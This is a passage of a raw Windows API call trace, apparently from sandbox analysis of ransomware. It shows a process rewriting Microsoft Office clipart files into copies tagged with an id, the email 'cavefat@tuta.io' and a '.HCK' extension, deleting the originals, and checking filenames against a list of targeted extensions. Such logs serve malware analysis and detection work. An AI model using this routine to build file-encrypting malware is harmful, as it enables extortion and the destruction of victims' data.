lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2610, lpOverlapped=0x0) returned 1 [0180.562] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.562] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.562] SetEndOfFile (hFile=0x370) returned 1 [0180.563] CloseHandle (hObject=0x370) returned 1 [0180.565] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.565] SetEndOfFile (hFile=0x3a4) returned 1 [0180.567] CloseHandle (hObject=0x3a4) returned 1 [0180.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf")) returned 1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString=".doc") returned 4 [0180.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString=".docx") returned 5 [0180.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.568] lstrlenW (lpString=".pdf") returned 4 [0180.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString=".xls") returned 4 [0180.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.568] lstrlenW (lpString=".xlsx") returned 5 [0180.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.568] lstrlenW (lpString=".ppt") returned 4 [0180.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString=".zip") returned 4 [0180.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.568] lstrlenW (lpString=".rar") returned 4 [0180.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString=".bz2") returned 4 [0180.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString=".7z") returned 3 [0180.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString=".dbf") returned 4 [0180.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString=".1cd") returned 4 [0180.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString=".jpg") returned 4 [0180.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.569] lstrlenW (lpString=".doc") returned 4 [0180.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString=".docx") returned 5 [0180.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.569] lstrlenW (lpString=".pdf") returned 4 [0180.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString=".xls") returned 4 [0180.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.569] lstrlenW (lpString=".xlsx") returned 5 [0180.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.569] lstrlenW (lpString=".ppt") returned 4 [0180.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.569] lstrlenW (lpString=".zip") returned 4 [0180.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.569] lstrlenW (lpString=".rar") returned 4 [0180.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString=".bz2") returned 4 [0180.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString=".7z") returned 3 [0180.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.569] lstrlenW (lpString=".dbf") returned 4 [0180.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.569] lstrlenW (lpString=".1cd") returned 4 [0180.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 68 [0180.569] lstrlenW (lpString=".jpg") returned 4 [0180.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.569] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.569] lstrlenW (lpString="SO00633_.WMF") returned 12 [0180.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.575] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20486) returned 1 [0180.575] CloseHandle (hObject=0x368) returned 1 [0180.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf")) returned 0x220 [0180.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.582] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.582] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.586] GetLastError () returned 0x0 [0180.586] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5006, lpOverlapped=0x0) returned 1 [0180.588] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5010, lpOverlapped=0x0) returned 1 [0180.589] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.589] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.589] SetEndOfFile (hFile=0x2fc) returned 1 [0180.592] CloseHandle (hObject=0x2fc) returned 1 [0180.592] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.592] SetEndOfFile (hFile=0x3a4) returned 1 [0180.594] CloseHandle (hObject=0x3a4) returned 1 [0180.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf")) returned 1 [0180.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.595] lstrlenW (lpString=".doc") returned 4 [0180.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.595] lstrlenW (lpString=".docx") returned 5 [0180.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.595] lstrlenW (lpString=".pdf") returned 4 [0180.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.595] lstrlenW (lpString=".xls") returned 4 [0180.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.595] lstrlenW (lpString=".xlsx") returned 5 [0180.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.595] lstrlenW (lpString=".ppt") returned 4 [0180.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.595] lstrlenW (lpString=".zip") returned 4 [0180.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.595] lstrlenW (lpString=".rar") returned 4 [0180.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".bz2") returned 4 [0180.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".7z") returned 3 [0180.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".dbf") returned 4 [0180.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".1cd") returned 4 [0180.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".jpg") returned 4 [0180.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".doc") returned 4 [0180.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".docx") returned 5 [0180.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.596] lstrlenW (lpString=".pdf") returned 4 [0180.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".xls") returned 4 [0180.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.596] lstrlenW (lpString=".xlsx") returned 5 [0180.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.596] lstrlenW (lpString=".ppt") returned 4 [0180.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".zip") returned 4 [0180.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.596] lstrlenW (lpString=".rar") returned 4 [0180.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".bz2") returned 4 [0180.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString=".7z") returned 3 [0180.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".dbf") returned 4 [0180.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".1cd") returned 4 [0180.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF") returned 68 [0180.596] lstrlenW (lpString=".jpg") returned 4 [0180.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.597] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.597] lstrlenW (lpString="SO00670_.WMF") returned 12 [0180.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.602] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5824) returned 1 [0180.602] CloseHandle (hObject=0x368) returned 1 [0180.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf")) returned 0x220 [0180.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.609] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.609] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.610] GetLastError () returned 0x0 [0180.610] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16c0, lpOverlapped=0x0) returned 1 [0180.612] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0180.613] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.613] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.613] SetEndOfFile (hFile=0x368) returned 1 [0180.616] CloseHandle (hObject=0x368) returned 1 [0180.616] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.616] SetEndOfFile (hFile=0x370) returned 1 [0180.619] CloseHandle (hObject=0x370) returned 1 [0180.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf")) returned 1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".doc") returned 4 [0180.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString=".docx") returned 5 [0180.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.621] lstrlenW (lpString=".pdf") returned 4 [0180.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString=".xls") returned 4 [0180.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.621] lstrlenW (lpString=".xlsx") returned 5 [0180.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.621] lstrlenW (lpString=".ppt") returned 4 [0180.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".zip") returned 4 [0180.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.621] lstrlenW (lpString=".rar") returned 4 [0180.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString=".bz2") returned 4 [0180.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString=".7z") returned 3 [0180.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".dbf") returned 4 [0180.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".1cd") returned 4 [0180.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".jpg") returned 4 [0180.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.621] lstrlenW (lpString=".doc") returned 4 [0180.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.621] lstrlenW (lpString=".docx") returned 5 [0180.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.622] lstrlenW (lpString=".pdf") returned 4 [0180.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString=".xls") returned 4 [0180.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.622] lstrlenW (lpString=".xlsx") returned 5 [0180.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.622] lstrlenW (lpString=".ppt") returned 4 [0180.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.622] lstrlenW (lpString=".zip") returned 4 [0180.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.622] lstrlenW (lpString=".rar") returned 4 [0180.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString=".bz2") returned 4 [0180.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString=".7z") returned 3 [0180.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.622] lstrlenW (lpString=".dbf") returned 4 [0180.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.622] lstrlenW (lpString=".1cd") returned 4 [0180.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 68 [0180.622] lstrlenW (lpString=".jpg") returned 4 [0180.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.622] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.622] lstrlenW (lpString="SO00704_.WMF") returned 12 [0180.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.624] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13878) returned 1 [0180.624] CloseHandle (hObject=0x39c) returned 1 [0180.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf")) returned 0x220 [0180.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.633] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.633] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.634] GetLastError () returned 0x0 [0180.634] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3636, lpOverlapped=0x0) returned 1 [0180.637] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3640, lpOverlapped=0x0) returned 1 [0180.637] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 